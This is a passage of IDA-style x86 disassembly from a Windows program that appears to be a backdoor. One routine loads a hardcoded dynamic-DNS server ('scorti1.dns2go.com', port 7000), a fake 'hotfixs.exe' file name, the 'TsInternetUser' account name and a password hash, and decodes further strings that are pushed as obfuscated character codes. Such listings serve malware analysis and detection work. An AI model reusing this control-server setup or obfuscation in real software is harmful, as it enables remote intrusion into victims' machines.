		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_144]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		lea	eax, [esp+35Ch+var_2DC]
		lea	ecx, [esp+35Ch+var_1D4]
		push	eax
		call	sub_40200E
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aHotfixs_exe ; "hotfixs.exe"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aHoewrt	; "hoewrt"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aTahy	; "TAHY-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset dword_4437FC
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	ecx, [esp+384h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_144]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	edx, [esp+3B0h+var_348]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	ecx, [esp+36Ch+var_348]
		push	45h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	edx, [esp+368h+var_348]
		push	46h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	ecx, [esp+36Ch+var_348]
		push	14h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		mov	byte ptr [esp+35Ch+var_4], bl
		lea	ecx, [esp+35Ch+var_348]
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	edx, [esp+370h+var_348]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2AC]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+3D0h+var_348]
		push	13h
		push	eax
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FECh]
		mov	byte ptr [esp+38Ch+var_4], 29h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 2Ah
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1035h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+78h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+0FA3h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Fh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+80h]
		push	13h
		push	eax
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F5Ah]
		mov	byte ptr [esp+388h], 32h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+370h], 33h
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
